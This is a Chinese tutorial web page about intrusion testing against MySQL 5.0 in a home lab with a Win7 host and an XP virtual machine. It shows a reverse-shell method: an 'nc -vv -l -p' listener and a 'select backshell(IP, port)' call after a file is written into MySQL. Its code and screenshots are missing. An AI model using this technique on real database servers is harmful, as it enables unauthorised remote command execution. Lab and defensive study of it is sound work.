• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • MsSql
  • Mysql
  • oracle
  • MariaDB
  • DB2
  • SQLite
  • PostgreSQL
  • MongoDB
  • Redis
  • Access
  • 数据库其它
  • sybase
  • HBase
您的位置:首页 > 数据库 >Mysql > mysql5.0入侵测试以及防范方法分享

mysql5.0入侵测试以及防范方法分享

作者: 字体:[增加 减小] 来源:互联网 时间:2017-05-11

通过本文主要向大家介绍了mysql5.0,mysql5.0安装图解,mysql5.0下载,mysql5.0下载64位,mysql5.0安装教程等相关知识,希望本文的分享对您有所帮助

在做了之前的SQL SERVER之后,便很想尝试一下MYSQL的入侵测试已经防范,与大家一起分享。
总的来说,我一直在用的是MYSQL,对MYSQL比较熟悉,相比较而言,感觉MYSQL更安全,这只是我自己胡乱猜想的,希望不要引起什么争论神马的。。。一本馒头引发的血案。。。

正题之一

物理机:Win7
虚拟机:XP

给予mysql远程权限:

给物理机远程权限:

物理机成功连接上:

执行侵入测试前(有图有真相):

执行侵入测试后(有图有真相):

重启前(有图有真相):

重启后(有图有真相):

正题之二:

远程登录之后写入代码,代码在yyd.txt当中,然后在MySql中写入文件:

Win7 打另外一个cmd,本地端口映射:nc -vv -l -p 端口号

虚拟机上:执行映射:select backshell("物理机IP",端口号);

这便执行了3306端口反弹CMD

(没图了。。。用到了一个nc软件执行的映射)

yyd.txt大概内容:

防范

 

感觉有点乱,主要是分享了两种方法入侵,但是防范那部分应该是XP上的MySql服务关闭,但是早XP上做了好多测试,左后XP被我弄挂掉了。。。。好丢脸,只好把Win7上的MySql服务拿出来了。

觉得主要还是远程连接的问题,“如果MySql不开启远程连接的话我们还是朋友”,开玩笑,如果MySql不开启远程连接的话入侵几率会小的很多。

</div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • mysql 5.0.45 (修改)拒绝服务漏洞
  • MySQL5.0.16的乱码问题解决方案
  • mysql5.0入侵测试以及防范方法分享
  • mysql5.0版本下载地址集合

相关文章

  • 2018-12-05mysql 4个sql语句特殊处理语句总结(收藏)
  • 2017-05-11MySQL中的max()函数使用教程
  • 2018-12-05mysql分区之range分区的详细介绍
  • 2017-05-11mysql出现“Incorrect key file for table”处理方法
  • 2018-12-05关于MYSQL命令行模式管理的问题
  • 2018-12-05oracle 更改数据库名的方法
  • 2018-12-05sql存储过程获取汉字拼音头字母函数
  • 2018-12-05详解mysql表名忽略大小写配置的方法
  • 2017-05-11MySQL 随机密码生成代码
  • 2018-12-05MySQL replace函数替换字符串语句的用法

文章分类

  • MsSql
  • Mysql
  • oracle
  • MariaDB
  • DB2
  • SQLite
  • PostgreSQL
  • MongoDB
  • Redis
  • Access
  • 数据库其它
  • sybase
  • HBase

最近更新的内容

    • MySQL 替换某字段内部分内容的UPDATE语句
    • SQL学习笔记二 创建表、插入数据的语句
    • mysql5.7.21 winx64安装配置图文分享
    • 基于mssql导mysql遇到的问题
    • SQL SERVER的数据类型
    • 关于MySQL数据表操作的详解
    • 使用Python的Django框架中的压缩组件Django Compressor
    • MySQL5.0存储过程教程
    • apache中访问不了伪静态页面的解决方法
    • mysql 表的增删改

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有